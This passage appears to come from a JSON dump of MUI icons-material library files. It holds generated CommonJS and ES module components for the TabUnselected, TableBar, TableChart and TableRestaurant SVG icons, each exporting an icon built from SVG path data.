    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8z\"\n}), 'TabTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8z\"\n}), 'TabTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselected.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v6h10V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselected');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselected.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v6h10V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselected');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v6h10V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v6h10V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v5c0 .55.45 1 1 1h9V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v5c0 .55.45 1 1 1h9V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm8 8h2v-2H9zm-8-4h2v-2H1zm0 4h2v-2H1zM23 3H13v6h10zm-2 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zM1 5h2V3H1zm20 8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm8 8h2v-2H9zm-8-4h2v-2H1zm0 4h2v-2H1zM23 3H13v6h10zm-2 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zM1 5h2V3H1zm20 8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v6h10V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabUnselectedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 9h2V7H1zm0 4h2v-2H1zm0-8h2V3c-1.1 0-2 .9-2 2m8 16h2v-2H9zm-8-4h2v-2H1zm2 4v-2H1c0 1.1.9 2 2 2M21 3h-8v6h10V5c0-1.1-.9-2-2-2m0 14h2v-2h-2zM9 5h2V3H9zM5 21h2v-2H5zM5 5h2V3H5zm16 16c1.1 0 2-.9 2-2h-2zm0-8h2v-2h-2zm-8 8h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'TabUnselectedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26L6 20h2l1.2-3h5.6l1.2 3h2l-1.5-3.74c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48\"\n}), 'TableBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26L6 20h2l1.2-3h5.6l1.2 3h2l-1.5-3.74c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48\"\n}), 'TableBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26L6 20h2l1.2-3h5.6l1.2 3h2l-1.5-3.74c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48M12 6c4.05 0 6.74.86 7.72 1.5C18.74 8.14 16.05 9 12 9s-6.74-.86-7.72-1.5C5.26 6.86 7.95 6 12 6\"\n}), 'TableBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26L6 20h2l1.2-3h5.6l1.2 3h2l-1.5-3.74c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48M12 6c4.05 0 6.74.86 7.72 1.5C18.74 8.14 16.05 9 12 9s-6.74-.86-7.72-1.5C5.26 6.86 7.95 6 12 6\"\n}), 'TableBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26l-.99 2.47c-.23.61.21 1.27.87 1.27.38 0 .72-.23.86-.58L9.2 17h5.6l.97 2.42c.14.35.48.58.86.58.66 0 1.11-.66.86-1.27l-.99-2.47c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48\"\n}), 'TableBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26l-.99 2.47c-.23.61.21 1.27.87 1.27.38 0 .72-.23.86-.58L9.2 17h5.6l.97 2.42c.14.35.48.58.86.58.66 0 1.11-.66.86-1.27l-.99-2.47c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48\"\n}), 'TableBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H8l-2 5h2l1.2-3h5.6l1.2 3h2l-2-5h-3v-4.02c5.05-.17 9-1.67 9-3.48\"\n}), 'TableBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H8l-2 5h2l1.2-3h5.6l1.2 3h2l-2-5h-3v-4.02c5.05-.17 9-1.67 9-3.48\"\n}), 'TableBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  opacity: \".3\",\n  rx: \"7.72\",\n  ry: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26L6 20h2l1.2-3h5.6l1.2 3h2l-1.5-3.74c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48M12 9c-4.05 0-6.74-.86-7.72-1.5C5.26 6.86 7.95 6 12 6s6.74.86 7.72 1.5C18.74 8.14 16.05 9 12 9\"\n}, \"1\")], 'TableBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableBarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  opacity: \".3\",\n  rx: \"7.72\",\n  ry: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.5C22 5.57 17.52 4 12 4S2 5.57 2 7.5c0 1.81 3.95 3.31 9 3.48V15H9.35c-.82 0-1.55.5-1.86 1.26L6 20h2l1.2-3h5.6l1.2 3h2l-1.5-3.74c-.3-.76-1.04-1.26-1.85-1.26H13v-4.02c5.05-.17 9-1.67 9-3.48M12 9c-4.05 0-6.74-.86-7.72-1.5C5.26 6.86 7.95 6 12 6s6.74.86 7.72 1.5C18.74 8.14 16.05 9 12 9\"\n}, \"1\")], 'TableBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.02h5V21h-5zM17 21h3c1.1 0 2-.9 2-2v-9h-5zm3-18H5c-1.1 0-2 .9-2 2v3h19V5c0-1.1-.9-2-2-2M3 19c0 1.1.9 2 2 2h3V10H3z\"\n}), 'TableChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.02h5V21h-5zM17 21h3c1.1 0 2-.9 2-2v-9h-5zm3-18H5c-1.1 0-2 .9-2 2v3h19V5c0-1.1-.9-2-2-2M3 19c0 1.1.9 2 2 2h3V10H3z\"\n}), 'TableChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H5V5zm-5 14h-5v-9h5zM5 10h3v9H5zm12 9v-9h3v9z\"\n}), 'TableChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H5V5zm-5 14h-5v-9h5zM5 10h3v9H5zm12 9v-9h3v9z\"\n}), 'TableChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.02h5V21h-5zM17 21h3c1.1 0 2-.9 2-2v-9h-5zm3-18H5c-1.1 0-2 .9-2 2v3h19V5c0-1.1-.9-2-2-2M3 19c0 1.1.9 2 2 2h3V10H3z\"\n}), 'TableChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.02h5V21h-5zM17 21h3c1.1 0 2-.9 2-2v-9h-5zm3-18H5c-1.1 0-2 .9-2 2v3h19V5c0-1.1-.9-2-2-2M3 19c0 1.1.9 2 2 2h3V10H3z\"\n}), 'TableChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.02h5V21h-5zM17 21h5V10h-5zm5-18H3v5h19zM3 21h5V10H3z\"\n}), 'TableChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.02h5V21h-5zM17 21h5V10h-5zm5-18H3v5h19zM3 21h5V10H3z\"\n}), 'TableChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h15v3H5zm12 5h3v9h-3zm-7 0h5v9h-5zm-5 0h3v9H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 19H5v-9h3zm7 0h-5v-9h5zm5 0h-3v-9h3zm0-11H5V5h15z\"\n}, \"1\")], 'TableChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h15v3H5zm12 5h3v9h-3zm-7 0h5v9h-5zm-5 0h3v9H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 19H5v-9h3zm7 0h-5v-9h5zm5 0h-3v-9h3zm0-11H5V5h15z\"\n}, \"1\")], 'TableChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurant.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2z\"\n}), 'TableRestaurant');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurant.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2z\"\n}), 'TableRestaurant');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2zm-2.6-4 .86-3h13.63l.86 3z\"\n}), 'TableRestaurantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2zm-2.6-4 .86-3h13.63l.86 3z\"\n}), 'TableRestaurantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantRounded.js",
